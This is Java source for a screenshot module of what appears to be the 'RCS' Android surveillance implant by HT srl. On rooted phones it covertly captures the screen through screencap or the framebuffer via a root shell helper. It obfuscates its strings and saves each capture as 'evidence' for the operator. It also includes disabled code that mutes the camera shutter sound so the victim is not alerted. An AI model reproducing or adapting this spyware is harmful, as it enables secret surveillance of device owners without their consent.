/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : SnapshotAgent.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.module; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import java.nio.ByteBuffer; import java.util.concurrent.Semaphore; import android.content.Context; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.Matrix; import android.os.Build; import android.view.Display; import android.view.Surface; import android.view.WindowManager; import com.android.dvci.Root; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfModule; import com.android.dvci.conf.Configuration; import com.android.dvci.conf.ConfigurationException; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.EvidenceType; import com.android.dvci.file.AutoFile; import com.android.dvci.listener.ListenerStandby; import com.android.dvci.util.Check; import com.android.dvci.util.DataBuffer; import com.android.dvci.util.Execute; import com.android.dvci.util.ExecuteResult; import com.android.dvci.util.WChar; import com.android.mm.M; /** * The Class SnapshotAgent. */ public class ModuleSnapshot extends BaseInstantModule { private static final String TAG = "ModuleSnapshot"; //$NON-NLS-1$ private static final int LOG_SNAPSHOT_VERSION = 2009031201; private static final int MIN_TIMER = 1 * 1000; private static final long SNAPSHOT_DELAY = 1000; final Display display = ((WindowManager) Status.getAppContext().getSystemService(Context.WINDOW_SERVICE)) .getDefaultDisplay(); /** The Constant CAPTURE_FULLSCREEN. */ final private static int CAPTURE_FULLSCREEN = 0; /** The Constant CAPTURE_FOREGROUND. */ final private static int CAPTURE_FOREGROUND = 1; String cameraSound = M.e("/system/media/audio/ui/camera_click.ogg"); /** The delay. */ private int delay; /** The type. */ private int type; private int quality; Semaphore working = new Semaphore(1, true); private boolean frameBuffer = true; private boolean screenCap = true; /* * (non-Javadoc) * * @see com.ht.AndroidServiceGUI.agent.AgentBase#parse(byte[]) */ @Override public boolean parse(ConfModule conf) { if (!Status.self().haveRoot()) { return false; } try { String qualityParam = conf.getString("quality"); if ("low".equals(qualityParam)) { quality = 50; } else if ("med".equals(qualityParam)) { quality = 70; } else if ("high".equals(qualityParam)) { quality = 90; } } catch (ConfigurationException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " (parse) Error: " + e); } } return true; } /* * (non-Javadoc) * * @see com.ht.AndroidServiceGUI.ThreadBase#go() */ @Override public void actualStart() { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart)"); } if (Cfg.DEBUG) { Check.log(TAG + " (actualStart): have root"); } final boolean isScreenOn = ListenerStandby.isScreenOn(); if (!isScreenOn) { if (Cfg.DEBUG) { Check.log(TAG + " (go): Screen powered off, no snapshot");//$NON-NLS-1$ } return; } if (!working.tryAcquire()) { return; } synchronized(Status.self().lockFramebuffer) { try { if (!screencapMethod()) { screenCap = false; if (!frameBufferMethod()) { frameBuffer = false; } } if (!frameBuffer && !screenCap) { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart) Screenshot not supported"); } } } catch (final Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(TAG + " (go) Error: " + ex);//$NON-NLS-1$ Check.log(ex);//$NON-NLS-1$ } } finally { working.release(); } } } private boolean screencapMethod() { if (Cfg.DEBUG) { Check.log(TAG + " (screencapMethod) "); } if (!screenCap) { return false; } // Questa utility chiama solo una IOCTL // http://forum.xda-developers.com/showpost.php?p=41461956 String sc = M.e("/system/bin/screencap"); String frame = M.e("/data/data/") + Status.self().getAppContext().getPackageName() + M.e("/files/frame.png"); AutoFile asc = new AutoFile(sc); AutoFile aframe = new AutoFile(frame); aframe.delete(); if (asc.exists() && asc.canRead()) { try { //disableClick(); ExecuteResult res = Execute.executeScript(sc + M.e(" -p ") + frame + M.e(";chmod 777 ") + frame); if (aframe.exists() && aframe.canRead()) { Bitmap bitmap = readPng(aframe); if (bitmap == null) { return false; } byte[] jpeg = toJpeg(bitmap); if (jpeg == null) { return false; } EvidenceBuilder.atomic(EvidenceType.SNAPSHOT, getAdditionalData(), jpeg); return true; } }finally{ aframe.delete(); //enableClick(); } } return false; } private void enableClick() { AutoFile file = new AutoFile(cameraSound); if (file.exists()) { file.chmod(M.e("777")); } } private void disableClick() { AutoFile file = new AutoFile(cameraSound); if (file.exists()) { file.chmod(M.e("000")); } } private Bitmap readPng(AutoFile aframe) { Bitmap bitmap = BitmapFactory.decodeFile(aframe.getFilename()); return bitmap; } private boolean frameBufferMethod() { if (Cfg.DEBUG) { Check.log(TAG + " (frameBufferMethod) "); } if (!frameBuffer) { return false; } try { final Display display = ((WindowManager) Status.getAppContext().getSystemService(Context.WINDOW_SERVICE)) .getDefaultDisplay(); int width, height, w, h; final int orientation = display.getOrientation(); if (isTablet()) { h = display.getWidth(); w = display.getHeight(); } else { w = display.getWidth(); h = display.getHeight(); } boolean useOrientation = true; boolean useMatrix = true; if (!useOrientation || orientation == Surface.ROTATION_0 || orientation == Surface.ROTATION_180) { width = w; height = h; } else { height = w; width = h; } if (Cfg.DEBUG) { Check.log(TAG + " (go): w=" + width + " h=" + height);//$NON-NLS-1$ //$NON-NLS-2$ } Bitmap bitmap = null; System.gc(); // 0: invertito blu e rosso // 1: perdita info // 2: invertito blu e verde // 3: no ARGB, no ABGR, no AGRB byte[] raw = getRawBitmap(); if (raw == null || raw.length == 0) { if (Cfg.DEBUG) { Check.log(TAG + " (frameBufferMethod): raw bitmap is null or has 0 length"); //$NON-NLS-1$ } return false; } else { if (isBlack(raw)) { if (Cfg.DEBUG) { Check.log(TAG + " (frameBufferMethod): all black"); } // TODO: aggiungere (una volta sola) un log info return false; } if (usesInvertedColors()) { // sul tablet non e' ARGB ma ABGR. byte[] newraw = new byte[raw.length / 2]; for (int i = 0; i < newraw.length; i++) { switch (i % 4) { case 0: newraw[i] = raw[i + 2]; // A 3:+2 break; case 1: newraw[i] = raw[i]; // R 1:+2 2:+1 break; case 2: newraw[i] = raw[i - 2]; // G 2:-1 3:-2 break; case 3: newraw[i] = raw[i]; // B 1:-2 break; } /* * if (i % 4 == 0) newraw[i] = raw[i + 2]; // A 3:+2 * else if (i % 4 == 1) newraw[i] = raw[i]; // R 1:+2 * 2:+1 else if (i % 4 == 2) newraw[i] = raw[i - 2]; // * G 2:-1 3:-2 else if (i % 4 == 3) newraw[i] = raw[i]; * // B 1:-2 */ } raw = newraw; bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888); } ByteBuffer buffer = ByteBuffer.wrap(raw); if (buffer == null) { return false; } bitmap.copyPixelsFromBuffer(buffer); buffer = null; raw = null; int rotateTab = 0; if (isTablet()) { rotateTab = -90; } if (useMatrix && orientation != Surface.ROTATION_0) { final Matrix matrix = new Matrix(); if (orientation == Surface.ROTATION_90) { matrix.setRotate(270 + rotateTab); } else if (orientation == Surface.ROTATION_270) { matrix.setRotate(90 + rotateTab); } else if (orientation == Surface.ROTATION_180) { matrix.setRotate(180 + rotateTab); } else { matrix.setRotate(rotateTab); } bitmap = Bitmap.createBitmap(bitmap, 0, 0, width, height, matrix, true); } byte[] jpeg = toJpeg(bitmap); bitmap = null; EvidenceBuilder.atomic(EvidenceType.SNAPSHOT, getAdditionalData(), jpeg); jpeg = null; } return true; } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (frameBufferMethod) Error: " + ex); } return false; } } private boolean isBlack(byte[] raw) { for (int i = 0; i < raw.length; i++) { if (raw[i] != 0) { return true; } } return false; } private boolean isTablet() { int w = display.getWidth(); int h = display.getHeight(); if ((w == 600 && h == 1024) || (w == 1024 && h == 600)) { return true; } String model = Build.MODEL.toLowerCase(); // Samsung Galaxy Tab if (model.contains(M.e("gt-p7500"))) { return true; } return false; } private boolean usesInvertedColors() { String model = Build.MODEL.toLowerCase(); // Samsung Galaxy Tab if (model.contains(M.e("gt-p7500"))) { return true; } // Samsung Galaxy S2 if (model.contains(M.e("gt-i9100"))) { return true; } // Samsung Galaxy S3 if (model.contains(M.e("gt-i9300"))) { return true; } return false; } private byte[] getAdditionalData() { final String window = M.e("Desktop"); //$NON-NLS-1$ final int wlen = window.length() * 2; final int tlen = wlen + 24; final byte[] additionalData = new byte[tlen]; final DataBuffer databuffer = new DataBuffer(additionalData, 0, tlen); databuffer.writeInt(LOG_SNAPSHOT_VERSION); // version databuffer.writeInt(0); // process name len databuffer.writeInt(wlen); // windows name len byte[] windowsName = new byte[wlen]; windowsName = WChar.getBytes(window); databuffer.write(windowsName); return additionalData; } private byte[] toJpeg(Bitmap bitmap) { ByteArrayOutputStream os = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.JPEG, quality, os); final byte[] array = os.toByteArray(); try { os.close(); os = null; } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e);//$NON-NLS-1$ } } return array; } private byte[] getRawBitmap() { final File filesPath = Status.getAppContext().getFilesDir(); final String path = filesPath.getAbsolutePath(); try { if (Cfg.DEBUG) { Check.log(TAG + " (getRawBitmap): calling frame generator"); } Execute.execute(Configuration.shellFile + M.e(" fb /data/data/") + Status.self().getAppContext().getPackageName() + M.e("/files/frame")); if (Cfg.DEBUG) { Check.log(TAG + " (getRawBitmap): finished calling frame generator"); } // 11_3=frame final AutoFile file = new AutoFile(path, M.e("frame")); //$NON-NLS-1$ if (file.exists()) { if (Cfg.DEBUG) { Check.log(TAG + " (getRawBitmap) file exists: " + file); } byte[] ret = file.read(); file.delete(); return ret; } } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (getRawBitmap) Error: " + e); } } return null; } }